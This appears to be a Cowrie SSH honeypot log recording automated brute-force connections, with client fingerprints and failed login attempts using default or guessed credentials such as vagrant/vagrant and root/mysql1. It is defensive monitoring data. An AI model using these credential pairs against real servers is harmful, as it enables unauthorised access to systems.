{"eventid":"cowrie.session.connect","src_ip":"154.83.196.237","src_port":34316,"dst_ip":"159.203.135.109","dst_port":22,"session":"218cd47a9f00","protocol":"ssh","message":"New connection: 154.83.196.237:34316 (159.203.135.109:22) [session: 218cd47a9f00]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:59.037629Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:59.042698Z","src_ip":"154.83.196.237","session":"218cd47a9f00","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:59.162728Z","src_ip":"154.83.196.237","session":"218cd47a9f00","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"lydia123","message":"login attempt [root/lydia123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:27:59.673347Z","src_ip":"154.83.196.237","session":"218cd47a9f00","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:28:00.796847Z","src_ip":"154.83.196.237","session":"218cd47a9f00","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.75.199.4","src_port":44332,"dst_ip":"159.203.135.109","dst_port":22,"session":"4efc854b5947","protocol":"ssh","message":"New connection: 103.75.199.4:44332 (159.203.135.109:22) [session: 4efc854b5947]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:28:06.717617Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:28:06.722426Z","src_ip":"103.75.199.4","session":"4efc854b5947","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:28:06.818156Z","src_ip":"103.75.199.4","session":"4efc854b5947","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"vagrant","password":"vagrant","message":"login attempt [vagrant/vagrant] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:28:07.109019Z","src_ip":"103.75.199.4","session":"4efc854b5947","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:28:08.213283Z","src_ip":"103.75.199.4","session":"4efc854b5947","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.116.56.108","src_port":60496,"dst_ip":"159.203.135.109","dst_port":22,"session":"1e1da00d347e","protocol":"ssh","message":"New connection: 186.116.56.108:60496 (159.203.135.109:22) [session: 1e1da00d347e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:28:12.633088Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:28:12.638203Z","src_ip":"186.116.56.108","session":"1e1da00d347e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:28:12.729297Z","src_ip":"186.116.56.108","session":"1e1da00d347e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"silvio","message":"login attempt [root/silvio] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:28:13.118726Z","src_ip":"186.116.56.108","session":"1e1da00d347e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:28:14.211627Z","src_ip":"186.116.56.108","session":"1e1da00d347e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"67.102.183.113","src_port":50154,"dst_ip":"10.17.0.5","dst_port":22,"session":"db1b1d74d165","protocol":"ssh","message":"New connection: 67.102.183.113:50154 (10.17.0.5:22) [session: db1b1d74d165]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:28:42.096338Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:28:42.101205Z","src_ip":"67.102.183.113","session":"db1b1d74d165","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"122.4","message":"Connection lost after 122.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:28:42.138030Z","src_ip":"92.33.193.44","session":"8b2853a215c6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:28:42.172857Z","src_ip":"67.102.183.113","session":"db1b1d74d165","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"...","password":"lol_lol_L0L_12346!&^$%#@@_87568","message":"login attempt [.../lol_lol_L0L_12346!&^$%#@@_87568] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:28:42.490367Z","src_ip":"67.102.183.113","session":"db1b1d74d165","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:28:43.564840Z","src_ip":"67.102.183.113","session":"db1b1d74d165","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"162.243.147.237","src_port":43194,"dst_ip":"159.203.135.109","dst_port":22,"session":"059918a0a9fd","protocol":"ssh","message":"New connection: 162.243.147.237:43194 (159.203.135.109:22) [session: 059918a0a9fd]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:28:50.655741Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:28:50.660270Z","src_ip":"162.243.147.237","session":"059918a0a9fd","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:28:50.729658Z","src_ip":"162.243.147.237","session":"059918a0a9fd","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"mysql1","message":"login attempt [root/mysql1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:28:51.043197Z","src_ip":"162.243.147.237","session":"059918a0a9fd","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:28:52.116906Z","src_ip":"162.243.147.237","session":"059918a0a9fd","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"205.209.121.72","src_port":39288,"dst_ip":"10.17.0.5","dst_port":22,"session":"90017be3cc19","protocol":"ssh","message":"New connection: 205.209.121.72:39288 (10.17.0.5:22) [session: 90017be3cc19]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:03.285361Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:03.291226Z","src_ip":"205.209.121.72","session":"90017be3cc19","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:03.301003Z","src_ip":"205.209.121.72","session":"90017be3cc19","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"112233","message":"login attempt [root/112233] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:03.356045Z","src_ip":"205.209.121.72","session":"90017be3cc19","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.1","message":"Connection lost after 1.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:04.364838Z","src_ip":"205.209.121.72","session":"90017be3cc19","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":58534,"dst_ip":"10.17.0.5","dst_port":22,"session":"444ef3329d0c","protocol":"ssh","message":"New connection: 43.163.119.215:58534 (10.17.0.5:22) [session: 444ef3329d0c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:06.509843Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:06.514597Z","src_ip":"43.163.119.215","session":"444ef3329d0c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:06.751966Z","src_ip":"43.163.119.215","session":"444ef3329d0c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ansible","password":"ansible","message":"login attempt [ansible/ansible] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:07.761928Z","src_ip":"43.163.119.215","session":"444ef3329d0c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:09.001842Z","src_ip":"43.163.119.215","session":"444ef3329d0c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"43.163.119.215","src_port":56488,"dst_ip":"10.17.0.5","dst_port":22,"session":"2d9e0a159b51","protocol":"ssh","message":"New connection: 43.163.119.215:56488 (10.17.0.5:22) [session: 2d9e0a159b51]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:12.534238Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:12.538701Z","src_ip":"43.163.119.215","session":"2d9e0a159b51","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:12.785108Z","src_ip":"43.163.119.215","session":"2d9e0a159b51","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dspace","password":"dspace","message":"login attempt [dspace/dspace] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:13.525550Z","src_ip":"43.163.119.215","session":"2d9e0a159b51","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:14.779252Z","src_ip":"43.163.119.215","session":"2d9e0a159b51","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"202.29.225.206","src_port":46680,"dst_ip":"159.203.135.109","dst_port":22,"session":"e1f498aa7be9","protocol":"ssh","message":"New connection: 202.29.225.206:46680 (159.203.135.109:22) [session: e1f498aa7be9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:15.729497Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T10:29:15.734609Z","src_ip":"202.29.225.206","session":"e1f498aa7be9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecds